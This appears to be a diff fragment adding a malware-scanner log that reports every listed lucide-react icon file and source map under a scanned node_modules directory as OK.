+/scan/node_modules/lucide-react/dist/esm/icons/file-bar-chart.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/recycle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rotate-ccw.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-arrow-out-up-left.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/list-end.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/undo.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cake-slice.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/monitor-stop.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/luggage.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/list-plus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/frown.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hard-hat.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/verified.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pie-chart.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/indent-decrease.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/earth.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/phone-forwarded.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-center-vertical.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/keyboard.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/replace.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bike.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/glass-water.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/database-zap.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-left-from-circle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-x.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/battery-medium.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/vibrate.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-stop.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/briefcase.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/lamp-floor.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/caravan.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-top-close.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bot-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-to-dot.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/monitor-down.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bolt.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hand-heart.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panels-left-right.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/footprints.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/microscope.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/building-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/joystick.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/person-standing.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/users.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/history.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/waves.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tally-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-arrow-right.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-top.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/heading-5.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/edit-3.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/washing-machine.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/library-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/plus-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-start-horizontal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flip-horizontal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tag.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/menu-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/x-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/zoom-out.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flower.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clipboard-list.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rectangle-horizontal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/life-buoy.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/navigation-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flower-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/list-tree.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/recycle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-equal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bomb.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/corner-left-up.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/unfold-horizontal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-mouse-pointer.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-diff.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/candlestick-chart.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/heart-handshake.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/image-play.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/test-tube-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/heading.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/fire-extinguisher.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/trees.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-parking-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-split-vertical.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/contrast.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/haze.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/grip-vertical.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-check-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-library.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rainbow.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-circle-warning.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-check.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/crosshair.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/paint-bucket.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/corner-left-down.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-scan.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clipboard-plus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/a-arrow-down.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/send-to-back.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pen.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flag-triangle-right.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/copyleft.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-arrow-down.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/skip-back.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-down.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/git-pull-request-draft.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/octagon-alert.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-01.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-horizontal-distribute-end.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-dollar-sign.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ruler.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/door-closed.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-right-dashed.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/alarm-clock.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/contact.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pill.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square-more.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/line-chart.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/unfold-vertical.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/binary.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mouse-pointer-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/unlink-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/heart-crack.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clock-3.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sunrise.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/route-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/test-tubes.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-heart.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/package-search.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-chevron-left.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/lamp-desk.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ratio.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/percent-diamond.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/zap-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flower-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hotel.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/russian-ruble.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bar-chart-3.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/briefcase.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/redo-dot.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/link.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/code-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-scissors.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-dollar-sign.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/power.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/move-3-d.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-bar-chart-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rocket.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/apple.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/link-2-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/git-compare-arrows.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/refresh-ccw-dot.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/salad.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-down.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/paperclip.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pen-tool.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scan-line.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-axis-3d.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/m-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/x-octagon.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dice-1.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-circle-plus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/lock-open.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/send-horizonal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/volume-x.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-gauge.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-euro.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-circle-warning.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shield-x.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/figma.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/loader-circle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/terminal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-scan.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/megaphone-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/fire-extinguisher.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-heart.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/haze.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/replace.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clock-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-right.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/list-x.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/keyboard-music.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pickaxe.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/fish.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-box.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sunset.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-round-plus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shower-head.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-justify.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bot.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/utility-pole.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wand.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/image.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/plane.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/navigation.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/outdent.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/stop-circle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-left-from-circle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/signal-zero.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/target.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/parking-circle-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-vertical-justify-start.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/diameter.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/curly-braces.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-digit.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-volume-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-kanban.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-minus-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sliders-vertical.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dot-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-x.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-minus-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/app-window-mac.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevron-down-circle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mail-question.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/phone-missed.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/expand.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-type-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cuboid.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/regex.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cylinder.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rotate-3-d.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/gem.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/box.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scroll.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/grid-2x2-x.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/plug-zap-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/slack.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/music-3.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scale.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-plus-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/headphones.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/text-search.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circuit-board.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-start-vertical.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/plane-landing.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/axis-3d.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/utility-pole.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/lasso-select.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-symlink.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-minus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flag-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/annoyed.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/megaphone.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-arrow-out-down-right.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/lasso-select.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/vibrate.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rail-symbol.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/indent-increase.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-up.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-narrow-wide.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scan-face.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/receipt-cent.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/gauge.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-arrow-out-down-right.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-dashed-kanban.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dessert.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shopping-cart.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bookmark-check.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/heading-5.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-x.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/printer.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hourglass.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevrons-up-down.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/euro.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-lock.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/torus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bar-chart-big.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/between-vertical-end.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-clock.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pilcrow-right.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/index.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flashlight-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-arrow-out-down-left.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-round.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/key-round.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-headphones.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/newspaper.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/train-track.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/move-horizontal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/drafting-compass.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/users-round.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/grid-2x2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-check-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-volume-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ham.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/globe.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/utensils-crossed.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/upload-cloud.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-plus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/heading-1.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/door-closed.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shapes.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/a-large-small.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-minus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/twitch.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-radical.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/venetian-mask.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/grape.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sofa.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-x-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-japanese-yen.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloud-lightning.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tree-palm.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/zoom-in.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shield-ellipsis.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bell.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/list-ordered.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/corner-up-right.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/vegan.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clock-7.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-arrow-up-right.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/thermometer-snowflake.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-right-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/between-vertical-end.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-russian-ruble.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-input.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/atom.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/disc-album.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-chevron-up.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/paintbrush.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shrink.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/spade.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/refresh-cw.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/lock-keyhole-open.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/train-front.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-right-dashed.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-circle-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rectangle-ellipsis.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/youtube.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-text.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/copy-plus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/laptop.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-kanban.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/alarm-clock-minus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/navigation-2-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/notebook-pen.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/egg-fried.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-to-line.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/move-down-right.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/iteration-ccw.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/octagon-pause.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-archive.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/languages.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bone.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-vertical-justify-end.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-a-z.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-chevron-right.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cigarette-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/video.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-right-from-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sunrise.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-slash.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/beef.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shield-plus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/paint-roller.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/octagon.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-round-x.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/heater.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bold.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/joystick.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/zap-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/proportions.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-big-left-dash.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/moon-star.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-vertical-space-between.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/delete.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/angry.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bot.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloud-download.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-clock.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-10.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/between-horizontal-start.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-check.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shield-x.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/timer-reset.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/more-horizontal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/code-xml.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/package-plus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/projector.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/italic.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cigarette.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/brain-cog.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-cog-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-left.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ticket-slash.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bluetooth-connected.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-x-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/link-2-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/stars.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/star-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/app-window-mac.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-terminal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-output.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/whole-word.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-chevron-up.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tally-4.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/monitor-up.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scale-3-d.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/maximize.js: OK
